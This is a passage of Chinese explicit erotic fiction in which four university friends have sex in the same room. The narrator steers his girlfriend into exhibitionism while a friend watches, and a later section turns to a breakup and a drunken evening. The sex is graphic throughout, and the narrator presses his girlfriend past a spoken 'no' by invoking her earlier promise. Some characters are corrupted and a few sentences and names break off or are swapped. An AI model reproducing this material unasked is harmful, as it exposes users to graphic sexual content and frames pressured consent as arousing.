但是我仍然没有猜到我和她的第一次竟是在如此的情形下!昨天的激情来得出乎我们所有人的意料,但是我却感到了无比的刺激。在其他人的注视下我和月儿完成了成人的仪式,不管我的内心到底怎么想,我无法否认的是我的身体给我的感觉。我不知道他们几个是否和我一样,但是我,已像吸毒上瘾一样爱上了这种刺激。

我和月儿相拥而卧,我能听到她的心跳和唿吸,她也看着我。耳边传来菲非和�亮的低语还有不时的笑声,显得我们这儿有些尴尬。

她忽然开口:“响,你喜欢我吗?”

“当然喜欢了,这还用问?”我理所当然的回答。

“哼,喜欢我还不停地看菲非。”月儿含娇细语。

想着这两天我老是偷瞄菲非那肥美凹凸的身材,我想否认也不可能了,只能哂笑解释:“呵呵,这个……爱美之心人皆有之啊!只是看看。呵呵!”

“那你是说我不够漂亮了?”月儿娇嗔道。

“谁说你不漂亮,我跟谁急。月儿最漂亮了,你看�亮看你的时候都在流口水呢!嘻嘻。”

“他哪有看我啊,你别乱说了。”月儿有些慌乱。

“我又不生气,你着什么急啊?”我笑着接道:“这很正常啊,你跟菲非都是美女,走到街上肯定吸引男人的目光了。谁不喜欢看美女。”

我压低声音在她耳边说:“你们女孩子还不一样,我都发现你有时候偷偷看�亮了。嘻嘻!”月儿被我说得有些急,红着脸争辩说没有。

我呵呵笑着抓住她企图掐我的柔荑,只感觉入手柔若无骨,想着昨天就是这双手帮我手淫,不禁心头一荡,忍不住调戏月儿:“还不承认,看了就看了。昨天我和你操屄的时候,�亮都听到了,还有啥不好意思?”

月儿听到我讲话粗鲁,狠狠的在我肩头咬了一口,我倒吸一口凉气,“啊”的一声惨叫。

这时传来菲非的笑声:“嘻嘻,难道今天是方响被人破处?叫得这么惨。”�亮也接着落井下石:“我怎么听着像被剪了发出的声音。”说着两个人笑作一团。

月儿也狠狠的说:“今天再不老实,真剪了你。”我苦笑:“那你不成空守闺房的寡妇了?”

月儿还没答话,那边菲非已经抢着说:“三条腿的蛤蟆难找,三条腿的男人大把。呵呵,是不是啊?月儿。”月儿捂着嘴偷笑,�亮也跟着淫贱的“嘿嘿”笑了起来。不知不觉,气氛轻松了很多。

�亮面对着我,菲非和他面对面躺着,我看他有一句没一句的和菲非聊着,眼睛却不停看过来这边,我也轻轻的把月儿搂在怀里背对�亮。天气其实还有些热,尤其是两具青春的躯体挨得那么近,我和月儿都有些觉得在被子里有些闷。 我将被子拉了拉,露出双腿,月儿的双腿也露了出来,我看见对面�亮的眼睛一亮,盯着月儿的美腿看。月儿今天穿了一件连衣裙当睡衣,现在被子盖在她小腿的位置,我把被子再拉了拉,露出了月儿的整个大腿。

由于侧卧的姿势,现在裙子只能将将盖住月儿的翘臀,裙子被月儿的屁股高高顶起,完美的臀型显露无遗,一双笔直的玉腿更是毫无遮拦的呈现在�亮的眼前,我清楚地听见他咽了口口水。我都能清楚地看见�亮的表情,我想他一定能清楚地看见月儿赤裸的双腿和翘臀了吧?我感到一阵刺激。

我伸出手在月儿的玉腿上滑过,入手香娇玉嫩,顺着大腿我抚摸到了臀部,月儿的臀部较其他女生挺翘许多,结实无比。我一边轻抚,一边偷偷用手拨开裙䙓,现在,�亮应该能看见她的内裤了,小小的内裤哪里能包裹得住如此丰臀,两边的臀肉早都赤裸在了空气中,圆润的曲线、深不见底的臀缝,我猜是个男人都无法抗拒如此诱惑。

想着属于我的性感娇躯现在被别的男人视奸,我却一阵激动,我将手伸到了月儿的内裤中,我看见�亮的眼睛一眨不眨的盯着我的手,我突然觉得这不再是我的手,这只手的主人变成了�亮。这只手在月儿的内裤中任意揉捏着月儿性感的翘臀,顺着臀缝来回滑动手指……天啊!月儿颤抖了。她能够感受到这只手的热度和挑逗么?

手继续下探,顺着臀缝往下去。难道摸到了月儿的阴唇,月儿就湿了么?一定,她那么敏感,怎么可能不湿?手指在臀缝和阴唇之间来回抚摸,我看到月儿翘起了屁股。

她是在迎接爱抚么?难道她不知道现在这只手的主人不再是她的男友,而是好友的男友么?她现在接受着其他男人的亵玩,她怎么可以兴奋?这还是我那矜持、单纯的青梅竹马么?为什么被其他男人挑逗她这么兴奋?我有些心疼,更多的却是莫名的激动。

“啊……响……”突然一声呻吟声响起,把我的魂魄拉回了自己的躯体。我看见怀中的月儿面带桃花,杏眼微张的看着我,从她的眼中我看到了羞怯,看到了欲望,看到了……期待。

月儿此时已经被我撩拨得春情勃发、杏眼含春、粉面带情,内裤已经被我褪下了一半,勒在大腿根部,却使他的屁股显得更翘。更要命的是,此时我们身上的被子已经完全掀开,月儿依靠着裙䙓堪堪遮住小半个屁股。我看见�亮喘着粗气死死盯着她的屁股看,虽然我不知道他能看见什么,但是我猜若隐若现的臀缝和下体深处隐现的湿淋淋的阴唇应该更让他激动吧!

想到这儿,我感觉心里最柔软的地方被扎了一下,我最爱的女友赤裸的阴部被别人看到了!这种刺进心脏的疼痛蔓延到全身。

月儿望向我的眼神中,欲望慢慢压过了羞涩。我的月儿啊,你怎可以这样,你知不知道你的露出让我如此心痛,让我如此……激动?我抽出了在抚摸着月儿的手,手上已经沾满了月儿的淫液,我将滴着水的手指伸向口中,月儿急拉住我的手,满脸通红:“不要,脏……”我紧紧注视着她的眼:“我喜欢你的一切,月儿。”月儿立刻被我的话语融化。

我盯着她的眼睛,将手指上她的淫液吸吮干净,她一把抱住了我,狠狠地吻向了我。月儿的唾液混合着淫液的味道像是催情药,将我们两个人的激情点燃,我猛地将月儿压在身下,用力地扒下她的内裤,正准备脱下她的裙子却听见旁边传来菲非销魂的呻吟声,我扭头看见两人的被子被扔到了一边,�亮高高擡起菲非的双腿大力地操了进去。

我能看见两人赤裸的肌肤,我能看见随着�亮的抽插,菲非晃动的奶子,我甚至能看见菲非被操的满足表情。我看向月儿,月儿正惊讶地看着这两个好友赤身裸体的做着原始运动,发现我看向她,她眼神慌乱。

我耳边传来�亮和菲非的肉体撞击发出的“啪啪”声,每一次的撞击都伴随着鸡巴插入湿漉漉阴道的“咕唧、咕唧”,菲非更是随着�亮鸡巴的深入发出销魂的“啊……哦……”呻吟。

这一切的一切,刺激着我和月儿,我看到月儿唿吸急促,双手捂着胸口,美丽的脸庞白里透红,眼神迷离,轻咬嘴唇,似乎在强忍着身体的欲望。我自己也是满眼通红,喘着粗气狠狠看着月儿:“我也要操你,像他们那样。”月儿看向我,伸手抚摸着我刚刚吻过她的唇,深情的说道:“响,今天我什么都依你。” 我脱光了衣服,没有任何的准备,直接就把早已坚硬如铁的鸡巴操了进去。“哦……”在我操进月儿屄里的同时,月儿发出了长长的呻吟:“哦……啊……啊……”

我感受到鸡巴被火热的肉壁包裹着,开始大力的抽动鸡巴,每一下都将鸡巴全部拔出来,又狠狠的操到底。月儿在我疯狂的冲刺下,刚开始还压抑着自己的呻吟,但随着我不停变换着抽插的节奏和力度、耳边不停传来菲非毫不掩饰的叫床声,月儿也发出了让人销魂的叫声。

开,我能看到菲非的阴唇随着�亮的大鸡巴进出,嫩肉不停地翻出,我都有些嫉妒了,�亮的粗大鸡巴明显超过我很多。�亮看我望向他,焦急的指着月儿,月儿还穿着裙子,我又压在她身上操她,�亮只能看到月儿赤裸的大腿,别的什么都看不到。

看到我犹豫的神情,�亮又将菲非的双腿分开些,又挪动了些角度,方便我看得更清楚,我现在能清楚地看到一条粗大的鸡巴不停地在我好友的屄里进出。 我突然冒出个念头:‘这个粗大的鸡巴操进月儿的屄里是什么感觉?月儿这己的鸡巴又硬了一些。

我内心挣扎了一下,终于还是向�亮做了个稍等的手势。�亮心领神会,不再看我们,用心的一下一下的大幅度的操着菲非,每一下鸡巴都都全进全出,菲非马上发出一阵舒爽的叫声:“啊啊啊……好舒服……啊……好深……啊……好爽……”

我趴下身在月儿耳边轻声说:“你看�亮跟菲非。”月儿扭头一看,发出一声惊唿:“啊!”我喘着气说:“好刺激,是不是?�亮的鸡巴比我还大啊!”月儿吃惊的盯着他们两个,我也学着�亮的样子慢慢但是用力地操月儿。月儿突然用腿夹住了我,搓弄着双腿,双手伸向胸前揉弄着自己的奶子,满眼的欲望。我知道月儿要高潮了。

�亮发觉月儿盯着他们看,每次把鸡巴抽出来的时候都故意停留一下,引起了菲非不满的吟叫:“啊……亮哥,快啊!快点进来啊!”�亮得意的笑着道:“呵呵,好啊,是这样么?喜欢我这样操你么?”这句话,�亮应该是故意响亮的说出来,没有压低声音,我们每个人都清楚的听到。

说着,�亮猛地加快了操弄的速度,大力的高速抽插起来,菲非随即发出满足的高喊:“哦……爽……亮哥……就是这样,就是这样……啊……操我啊……用力操我啊……啊……”

像是比赛似的,月儿也发出“啊……啊……响……啊……”的叫声并一阵抽搐,高潮了。我不知道月儿是在我的操弄下高潮,还是看到�亮用大鸡巴操菲非的刺激下高潮了。

我内心有些醋意,鸡巴却不争气的传来一阵舒爽,我竟然在自己女友盯着别人的大鸡巴的时候龟头传来一阵酥麻。我发出了嘶吼,用力地想把自己的鸡巴更深的插入月儿的屄里,一阵一阵的抖动,我将一股股精液射进了月儿的身体。 月儿被我的精液刺激,竟然十分响亮的发出一声大叫:“啊……好爽!好舒服!”竟然连续的又一次高潮了。

�亮见我已经射了,更是卖弄的五深五浅、深入浅出的操弄着菲非,菲非被他操得婉转呻吟。�亮还不过瘾,嘴里还自得的问:“菲非,我操你操得爽么?你喜欢我的大鸡巴么?”故意给我们听见。

射精后,我躺在月儿身边,我发现月儿一直不停地偷瞟菲非他们,我有些嫉妒,从背后搂住她,咬她的耳朵:“干嘛?嫌我操你操得不够爽了?是不是羡慕菲非啊?�亮这么能干!鸡巴又这么大。”

“你乱说什么?”月儿嗔道。

我感觉月儿的声音明显的有些心虚,声音颤抖着,显然是没有从刚刚的激情中恢复,或者是说……满足。我的嫉妒更甚了,想着我心爱的女友不满足的偷偷注视别人的大鸡巴,她在想什么?幻想自己被这个大鸡巴操么?

(第十二章)

我猜想,互相亲近的人肯定是互相有好感的,这种好感给了我们安全感吧!在这种安全的环境中,一定程度的暴露和视奸给我们正常亲热无法给予的刺激。现在我们四个好友除了月儿还有些羞涩,其他人都放开了自己,沈醉在了这种有些淫荡但又刺激无比的情绪中。而且,我从月儿兴奋的身体反应中感觉到了她其实是不排斥的,甚至还有小小的期待。

这么想着,我有些激动,感觉已经软了下去的鸡巴有些反应。我心里一动,继续说道:“月儿,你说今天什么都答应我的。”

“嗯。”月儿的回答声音明显的还带着娇媚。

我咬着她的耳朵说:“那我还想再干你一次。”

“等你……等你硬了……”月儿回我。

“可是,我等不及了,你要帮我。”我急着说道:“你知道我喜欢你说什么的,你说给我听,叫给我听,好么?”

“你自己说粗俗的下流话还不够,还要我说?”月儿含羞低语。

我急道:“爱人间都是这样的。你看菲非跟�亮还不是一直说。”

像是为了配合我,�亮又大声的说:“操,菲非,你真好操啊!靠,我的鸡巴操得你爽么?”

“爽!啊……你怎么这么会干我啊?啊……你的恶鸡巴干得我好爽。”

我见月儿听得害羞得不知所措,却又忍不住竖起耳朵去听,偷偷的去看。我一把掀起了她的裙子,粗暴地把她的裙子脱掉,月儿无奈地瞪了我一眼,任我脱光了她,只是有些不好意思的用手捂住胸前的嫣红。

这下,我们四人都已经赤裸了。屋外的月光悄悄的照进房间,透过薄薄的窗帘洒落在每个人身上,我们能够藉着月光清楚地看到对方。�亮睁大了双眼盯着月儿的大奶,月儿感觉到了他的目光,脸上发烧、双腿夹紧。

�亮第一次看见月儿的裸体,明显被惊呆了,眼睛瞪大:“靠,这也太大了吧?”月儿当然知道是在说她,羞得紧紧搂住奶子。我却敏感地发现,月儿的双腿在悄悄的摩擦着。

妈的,月儿竟然在别人的目光中兴奋了。我将月儿的手掰开,喘着粗气在她耳边说:“操,还不好意思,你看你的奶头都硬了。”我用手弹了弹她挺立的奶头,月儿忍不住“啊”了一声。

我继续着言语刺激:“你明明就喜欢�亮的大鸡巴,你看你都忍不住偷看。操,你个小骚货。现在�亮在看你呢!看你的大奶子,看你的大屁股,看你的骚屄。看,你自己都忍不住了吧?我看你就是喜欢给他看,你的屄里都湿得往下滴水了。”说着,我用手在月儿的屄上摸了一下,果然已经湿透。

月儿虽然知道我喜欢说粗俗话,但是从来没有想到我会说得这么露骨,有些难以接受,扭动着身体,不去看我。我看着月儿的娇羞,想着我这么个清纯娇羞的女友被别人看了个够,竟然看得她兴奋流淫水。

一股兴奋冲上脑袋,刺激得我竟然重新硬了起来,我一口叼住月儿挺立的奶头,再用手大力揉捏着她巨大夸张的奶子,下身用已经坚挺的龟头摩擦着月儿的屄口。�亮看着我玩弄月儿,加快了抽插,在这一番冲刺下,菲非终于高潮了,不停地喘息呻吟着,叫床声刺激着我们。

月儿也被我刺激得扭动下体、臀部耸动,嘴里的喘息声也越来越大。我用牙齿刮弄着月儿的乳头,挑逗得月儿娇喘连连,我赞叹着:“操,月儿,你的奶子真大啊,摸着真爽啊!我想每一个男人都想这么揉你的奶子吧?”我感觉月儿的身体在我说话挑逗时一颤,难道月儿也喜欢听我说这些流氓话?

我继续:“你奶子这么大,我摸你摸得爽么?你这么敏感,是不是因为自己奶子这么大啊?你是不是也想男人揉你的奶子啊?”

月儿忍不住:“别说了,响。”

我却感到了月儿的兴奋:“还说别,你看你兴奋得都浑身发抖了,屄里也不停地流淫水。你明明就喜欢我说,还不承认。我就要说,我还要操你,还要操你这个小骚货,你就是我的小骚货。”

听着我不停的言语侮辱挑逗,月儿似乎无法承受的神情中多了几分异样,我看到她面色潮红、媚眼如丝、双眉紧蹙,用牙齿紧咬嘴唇,唇间浓重的唿吸发出“嘶嘶”的喘息和喉咙间无法压抑的呻吟混着在一起,眼神中的难堪已经掩盖不住欲望的光芒了。

突然月儿张开口急速的吸了几大口气,“哦……啊……”的喊了出来,我顶到她屄口的鸡巴感觉到大量的淫水涌出。竟然在我的言语侮辱和�亮的视奸下,月儿又一次的高潮了。

我的心激动的跳着,强忍住自己的欲望,慢慢地用龟头刺激着月儿的阴唇和阴蒂,却不操进去。月儿扭动腰肢用阴部去顶我的鸡巴,我躲开她,她急得用双腿缠住我的腰,眼中欲色更浓:“快啊!响……快来……”

我激动的问:“快来什么?”说着,用双手搬开月儿的双腿,身体离开她。颤抖,大腿根部迷人的骚屄潺潺的流出淫液,屄口的阴唇好像在蠕动一般期待着我的入侵,或者……任何人的入侵。

现在�亮已经可以毫无遮挡的看到月儿赤裸的身体,尤其是神秘的下体。我看向�亮,�亮已经看得入了迷。看见其他男人如此近距离的盯着我的爱人,我感到无比的刺激,鸡巴也传来了阵阵快感。

我故意离开她远些,正在高潮巅峰的月儿儿突然脱离了男人的拥抱,发出不满的哼叫,看向我的眼神也有些焦急的等待,双手更是不自觉的伸向大腿内侧抚摸,这样就把她坚挺巨大的奶子紧紧地挤在胸前,显得一对大奶更夸张的展现在空气中,奶头也高高挺立着,�亮更是目不转睛的看着这对大奶。

我有些骄傲的看了看�亮,�亮向我竖起大拇指。这时月儿已经忍不住了,眼光不停地看向我,终于开口,声音已经透着妩媚和欲望:“快,来……来操我啊!响,我忍不住了。”

我不再挑逗她,自己也兴奋得忍不住了,“噗哧”一声操了进去。“啊……好舒服……啊……”月儿发出了舒爽的喊声。我在�亮的注视下开始了对月儿的操弄,�亮也在我和月儿的刺激下,发疯般的在菲非身上耸动,操得菲非不停高唿:“啊……亮哥,你好厉害!啊……操得菲非受不了了……啊……啊……” 大叫了几声后,菲非喘息着趴在床上呻吟:“啊……好舒服……亮哥,你太厉害了。今天怎么这么厉害啊?”说着眉眼瞟了瞟我们这边:“是不是看到月儿这么性感风骚,所以才这么猛啊?”

月儿听菲非这么说,不自觉的看过去,却看到�亮刚好抽出了鸡巴,一条超过20厘米的粗大鸡巴高高挺立着,上面青筋缠绕,挂满了晶莹的淫水,在月光的照射下格外刺目。月儿大叫一声,忙扭过了头不去看它。

菲非“咯咯”笑道:“月儿,都这样了,还有什么不好意思的?这两个坏人把我们都看遍了,我们不能吃亏,也要看他们的。”

月儿喘息着:“我……我才没有你那么流氓。啊……用力……响……”

我哪里顾得了许多,听着菲非和月儿说话,�亮硬着鸡巴看我操月儿,心里无比刺激。月儿也在我的加速操弄下娇声高喊,我不仅感觉鸡巴的舒爽,心里更是充满快感。

我一边操着一边问:“月儿,我操你操得爽不爽?是不是他们看着我操你更爽啊?”月儿别过头不说话。“哼,还不说话,你看你的屄夹得我鸡巴有多紧,流了这么多淫水。”我继续诱导她,月儿不好意思回答,但是我感到她的身体也是兴奋不已。

我将月儿抱起,翻了过来:“来,我从后面干你。”我故意把月儿横过来,头向着�亮的床。�亮这时不再操菲非,菲非已经酸软的窝在床上喘息。�亮看见我把月儿转过来,急忙坐在床边更靠近我们,手上也不停地套弄着自己的大鸡巴。

月儿说:“不要……”我说:“你答应我今天都听我的。”月儿不出声了。我把她搬了过来,捧着她高高翘起的屁股,从后面操了进去。

我从后面看着�亮死死盯着月儿在他眼前的脸庞和垂着的大奶子,手上的动作越来越快。月儿似乎不敢擡头看�亮,死死地将头埋在胸前。我看着�亮眼中的欲望和挺立的粗大鸡巴,咬了咬牙,用力把月儿上身搬起,再向后拉着月儿的胳膊把她的上身立起,这样月儿的屁股就更显得高高翘起。

虽然看不见前面,我也能想到这个姿势把月儿的大奶子更好的显现在了�亮的眼前,这个羞耻的展露姿势让月儿的完美身材毫无保留地展现在�亮面前,我从后面用鸡巴狠狠地干着月儿,月儿的身体随着我一下一下的抽插也是不停地抖动,我想她的奶子更是不停抖动吧!

�亮这时受不了这么强烈刺激,站立了起来,就在月儿身前套弄着他的大鸡巴,鸡巴离叶儿的脸已经不到20厘米了。我看得一阵刺激,一阵阵的快感传来刺激着我的大脑。我这是怎么了?其他男人这么近距离向我的月儿展示他巨大的阴茎,我竟然没有生气,反而感到很爽。

月儿也被�亮的动作吓了一跳,我见�亮只是停在月儿面前却没有下一步的动作,心里松了一口气,却也有淡淡的失望。

�亮盯着月儿的奶子上下跳动,嘴里咽了口吐沫,手上不停地套弄自己的鸡巴:“靠,月儿,你的奶子太大了,真漂亮!”月儿突然屁股紧紧凑向我,嘴里发出呜咽的叫声:“啊……操我啊!好难受……响,用力操我啊!”

月儿在�亮的近距离视奸和大鸡巴的视觉冲击下又一次高潮了,而且这次高潮来得是如此猛烈,能感觉到她翘起的臀部快速抖动,屄里一股股的吸力吸吮着我的鸡巴。

龟头传来一阵阵的快感,我加快了抽插的节奏,嘴里也喊道:“月儿,你的屄夹得我好紧,操你真爽啊!我操,我操……”

月儿已经语无伦次了:“大力点,响,操我啊!操得深点啊,里面好痒啊!啊……对了,就是这样啊!操我……”

“你这个小骚货,爽不爽?�亮看着你被我操是不是很爽啊?怎么你看着�亮的大鸡巴在你面前手淫这么兴奋啊?你这个小骚货。操!”

龟头传来的快感让我无法自己,更主要的是�亮的视奸让我觉得内心中某种冲动和欲望得到了释放。我大叫一声,又一次将浓浓的精液射进了月儿的身体。月儿被我热烫的精液刺激,也不停扭动着身体“啊啊”的大声叫喊,屄里更是涌出一股一股的淫水,跟我一起到达了欲望的巅峰。

正在这时,�亮发出一声低吼,拼命地抖动双手,一股股的精液就在月儿眼前喷涌而出。月儿看到其他男人在她面前从粗大的鸡巴中喷出一股一股的浓精,竟然双腿一颤,又是一股淫水涌出,身子瘫软在床上,屁股高高翘起,嘴里发出呜咽的呻吟。

我们两个男人赤裸着身体在月儿的身前和身后,刚射完精的鸡巴仍然都在挺立。月儿大口喘息着,赤裸的身体随着唿吸起伏,高耸的屁股将她女人最神秘的黑森林湿漉漉的展现在我面前,一股股的淫水混着我的精液潺潺流出。看着这幅淫靡的画面我不禁心里苦笑,这么敏感的月儿碰到了我这样的男人,到底是幸福还是不幸?

(第十三章)

高潮过后是攀登高峰的满足感。看着月儿浑身无力的躺在我身边,菲非已经从刚刚的脱力中恢复,正饶有兴致的看着我和月儿,�亮更是意犹未尽地不时看看月儿。我却感到了一阵阵的空虚。

我不知道自己想要的是什么,我不知道刚刚荒唐的一次上床意味着什么,�亮和菲非是我们最好的朋友,却目睹了我和月儿的最隐秘的生活,跟我们一起淫靡地达到两性的高潮。

我觉得荒唐无比,但是身体仍没有退去的快感提醒着我刚刚的激情。我的眼前仍然能够看见我们赤裸的身体,早已清醒的菲非倒是穿上了胸罩和内裤,可是充满春情的面容和挑逗的眼神配合着本应是隐秘的内衣裤更是透露着放浪。 我的眼前不时闪过刚刚月儿赤裸着身躯,挺立着胸膛向�亮完全展示她性感的大奶、�亮在月儿的面前套弄自己粗大的鸡巴的画面。这种另类的刺激让我品尝到了从未有过的快感。自己心爱的人竟然与他人分享,月儿性感美妙的身材现在不是只有我看过了,月儿坚挺的巨乳、发情挺立的乳头也不是只有我才能观赏了。这种略带嫉妒的念头却能刺激我获得更多的快感,我有些迷茫了。

我给我和月儿拉上被子,搂着她到我胸前,我们就这样静静的躺着。�亮见气氛有些怪异,呵呵笑道:“这下,我们几个真正的毫无秘密了。哈哈!”我强打精神配合着笑了笑。菲非若有所思的不知道在想生么,月儿则趴在我怀里低头无语。

�亮见他的话并没有缓解气氛,也只能哂哂的笑了笑,盯着我,指了指我怀中的月儿。我故作轻松的说:“�亮说的是,我们已经坦诚相见过了,大家也都是成人了,就别不好意思了。呵呵,我倒是觉得这样挺好,以后大家没有任何的隔阂了。”说着做了个猥琐的表情:“还能提高生活的品质,多好。”�亮配合着我大笑。

菲非白了我们一眼,嗔道:“你们两个就知道得了便宜卖乖,我们两个可是良家妇女,被你们这么就看了去了。”我看着菲非做出求饶的表情,指着月儿。菲非叹了口气,说:“算了,谁叫我跟月儿是好姐妹呢!我们本来也没用什么秘密,倒是你们两个,看见就看见了,不许在脑子里乱想,更不许动手动脚。知道么?”我跟�亮忙表示,绝对不会。

我们三个吵吵闹闹的又说了很久,互相开着玩笑,最后月儿才退去害臊,慢慢地加入我们。我们聊了很久,后来�亮还扒下菲非已经穿好的内衣,说这样才公平。反正话题是慢慢说开了,大家本来就是无话不谈的好友,�亮还爆料他跟菲非的第一次是在学校操场,月儿吃惊的笑话他们。我知道,现在,我们几个是真正的没有隔阂了。

晚上我被尿憋醒了,却发现月儿没有在睡觉,睁着眼盯着天花板在看,不知道心里在想什么,我醒了也没有发现。我问:“月儿,在想什么呢?怎么不睡觉啊?”

月儿转过头看着我,眼神中有些迷茫:“我……我在想这两天的事。”

“别想了,宝贝。”我有些犹豫,还是接着道:“都是我不好,月儿,我想上你,所以才跟�亮说,让他在我们面前干,对不起……”

月儿温柔的用手堵住我的嘴:“我知道,今天菲非都告诉我了。”

我假装怒道:“这个�亮,重色轻友,转头就把我卖给菲非。”

月儿叹了口气说:“我不怪你们,只是,本来我是想跟你在新婚之夜……可是,我想就算没有这两天的事,我也不可能忍受你的诱惑的。”说完,有些幽怨的瞪了我一眼,我只好“嘿嘿”笑着转移话题:“我去撒尿。”

去撒完尿,我回到床上搂住月儿:“别胡思乱想了,反正你都是我老婆了,早晚都是要给我的,就早点让我爽了。”

“哼,你也知道我是你老婆,是你老婆还算计着让别人看。”

我有些心虚的说:“我那不是急的么!你又不肯早给我,我才想了这个馊主意。”我又有些猥琐的笑话她:“可是,我怎么觉得你也很爽的样子啊?被别人看着被我操是不是好刺激啊?我都觉得你敏感得不行,一碰就湿。嘿嘿!” 月儿沉默下来。我以为她生气了,忙解释道:“我乱说的,你别生气。你知道我只是嘴上贱,我没有这么想的。”

月儿沉默了一会,说:“我知道,而且你也没有乱说。我……我是觉得很刺激。”说着,月儿看着我的双眼,下定决心似的对我说:“响,我也不知道为什么,你对我说那些下流的话,我其实一点都不反感,而且,这两天被�亮他们看着我们……我们……亲热,我感觉自己好像很兴奋,很容易高潮似的,你……会不会觉得我是个放荡的女孩儿?”

听到月儿对我坦白,我激动的抱住她:“怎么会呢!月儿是个好女孩,我知道的。这只是爱人间的调剂。而且,菲非和�亮都是我们的好朋友,这样做也没什么危险,还能增加生活情趣。要是别人,我就不肯让看了。”

月儿又有些脸红,点点头:“你不觉得我不好就行了。”

*** *** *** ***

过节的最后两天我跟月儿没有再陪他们,回家陪她爸了。另外还有一件事,就是我们住的贫民区要拆迁。由于是城中村,一个开发商看中了,开发个很大的商业区。赵老师说他找领导说了说,领导答应给他分一个宿舍,他就不另外找房了。我的那间破瓦房竟然是地方最好的,开发商赔了我一百五十万。现在我也算小小有钱了,虽然代价是从此后我无家可归,不过我也无所谓,一个人惯了。 反正要租个房子住,我决定在学校附近租个房子,嘿嘿,这当然是为了方便我跟月儿的“性福”方便了。我们租了个小小的两居室,大概50平,很干净,小区的环境也好,而且离我们学校很近。

菲非在我们搬进去那天狠狠地宰了我们一顿,还羡慕的说我们现在可以肆无忌惮地淫乱了,不过看在我们给她和�亮留了一间房的份上就不跟我们计较了。 我以为我真的可以肆意淫乱了,哪知道,月儿基本上不跟我回来,她每天还是好好上自习,上完自习跟菲非回宿舍,周末有时候还要回赵老师那里,很偶尔周末才会到我的小屋里。当然,她来的时候,我们是激情四射的,几乎会接连操一个周末。月儿就是说知道她只要来我这就是羊入狼口了,而她这都小绵羊基本上是无法抵挡我的勾引的,所以才不来,恨得我牙痒痒的。

不过,随着我跟月儿感情的突飞猛进,月儿也对我开放了很多,每次操她的时候,我都会说些粗俗的话刺激她,她慢慢地也会配合我。有一次我提起我们这菲非和�亮,她甚至说她想试试�亮的大鸡巴,说得我一阵热血冲到脑子,激动得不行。

月儿的穿着也有了些改变。我说她的大奶好美,腿好美,这么美的地方她挡得严严实实的,暴殄天物。慢慢地,她也会接受一些露腿的短裙和短裤,还有吊带什么的。尤其是她穿上这些,明显回头率增高,在女人们嫉妒的目光中和男人们欣赏的目光中,月儿慢慢感到了更加的自信和骄傲。毕竟,这个年纪的女孩哪个不爱美,哪个不想让别人欣赏。

不知不觉又是两个月过去了,元旦来了,月儿要回她爸那里呆两天。菲非坐昨天晚上的飞机去苏州找�亮了,走之前特意嘱咐我们谁都不要告诉�亮,她要给他个惊喜。我一个人百无聊赖的躺在床上,想起来买点东西吃,又有些懒,就这么一直赖在床上。

手机响了,我一看是菲非的电话,我接起来,“难得啊,这么早起来,我还以为你们要中午才能起来呢!嘿嘿,昨天搞到多晚啊?”我有些淫贱的说道。 电话那头有些沉默:“方响,我在学校门口,你来一下。”

“啊,你不是在苏州么?啊,喂!喂……”菲非已经挂了电话。我感觉不对劲,赶紧穿衣刷牙,急忙跑下楼。

我气喘吁吁地跑到学校门口,菲非一个人站在那,神情有些落寞。我赶紧过去:“怎么了?菲非,你怎么在这儿啊?”菲非见我来了,强打精神说:“我坐一大早的飞机飞回来的。月儿回家了,你也是一个人吧?走,我们去吃饭,我请你。”

我看着菲非的笑容,愈发感觉奇怪了:“到底怎么回事?�亮呢?”菲非揽着我的手臂嗔道:“快走吧,我都快饿死了。”

莫名其妙的我就被菲非拉到了一家西餐厅,点了餐。我拉住她的手,认真的看着她:“好了,到底怎么回事,你和�亮吵架了?快说啊,你要急死我。”菲非摇了摇头,笑着:“呵呵,还能怎么回事,就是那么俗套的事。我昨天晚上去苏州,看到�亮和一个女孩手牵手在学校,我就赶回来了呗!”

“嗨,我还当什么事,说不定有什么误会呢!”我轻松的说:“我们还不是经常手牵手啊!”

月儿笑得有些黯然:“不会是误会的,我知道。�亮看她的眼神我了解,绝不会是误会。”

“那你也要当面问清楚,给他个结实的机会啊!”说着我去掏手机:“我打电话给他。”月儿拉住我的手:“算了,别打了,我先想好好想想吧!”我只好由得她。

吃完饭,我提议去逛街,菲非说:“好啊!”我们一路说说笑笑,菲非挽着我的胳臂,我一路都刻意地讨好她,看起来她也挺开心的。我们逛完街,去了趟超市,菲非说难得只有我们两个约会,就让我饱饱口福,给我做顿好吃的。 我奇道:“你还会做饭啊?”菲非很得意的说,她可是下得厨房的当代好女子。我偷偷的接着说道:“那是,还出得厅堂,进得卧房呢!”菲非听了也学月儿来掐我的腰。

我们买了菜和零食,回到了我的小屋。菲非给月儿打了个电话说今天就借她的男朋友用用了,而且已经用了一个下午了。月儿知道了她跟�亮的事,大方的说随便,留点渣给她后天回来吃就好了。我大叹遇人不淑啊,怎么我这个大好青年就遇到了两个女魔头?

回来,菲非就一个人忙忙碌碌的开始洗菜、做饭,我躺在沙发上抽着烟看电视,不停地感叹:“这就是生活啊!这他妈的就是生活啊!看来娶个贤妻良母很有必要啊!”月儿一个洋葱甩了出来:“赶快给老娘去买盐,顺便带几瓶啤酒上来。”我猥琐的笑她是不是要借酒浇愁,小心喝醉了被我占便宜,菲非也媚笑着说没问题,她开着手机给月儿直播。

一顿饭吃得我是荡气回肠,菲非的手艺那是相当可以,尤其是那个回锅肉,吃得我是意犹未尽。我是一边吃一边夸。菲非见我狼吞虎咽,也是很开心,不停地给我夹菜。我们不知不觉吃到了很晚,也喝了很多的啤酒。

酒足饭饱后,我说:“今天就让你见识见识什么是单身生活。”说着把饭桌搬到墙角,大声说:“搞定!”说着拿着罐啤酒往沙发上一躺:“吃完饭不用收拾真爽啊!”菲非白了我一眼:“你就懒吧,到时候还不是要收拾。”我哈哈笑着说:“明天的事明天说。”菲非也拿了罐啤酒坐到我旁边。

我们就这样聊着,也不知道过了多久,菲非喝得有些多,跟我说了很多她跟�亮的事。他们是高中同学,�亮人很帅,很受女生欢迎,她也是校花,两个人那也是珠联璧合,令人羡慕不已。我看菲非已经眼神迷离,不知道是喝酒喝得多了还是想到伤心事,我柔声安慰她别想那么多了,说不定不是她想的那么回事。菲非不作声。

我听到了菲非低声的啜泣,有点不知所措:“菲非,你别这样。有些事你找�亮说开就好了。”菲非红着眼睛对我惨然一笑:“你不知道,昨天我看见�亮和那个女孩,他们看对方的眼神我懂。我跟他……完了。”说完,菲非突然抱住我嚎啕大哭,哭得好伤心。

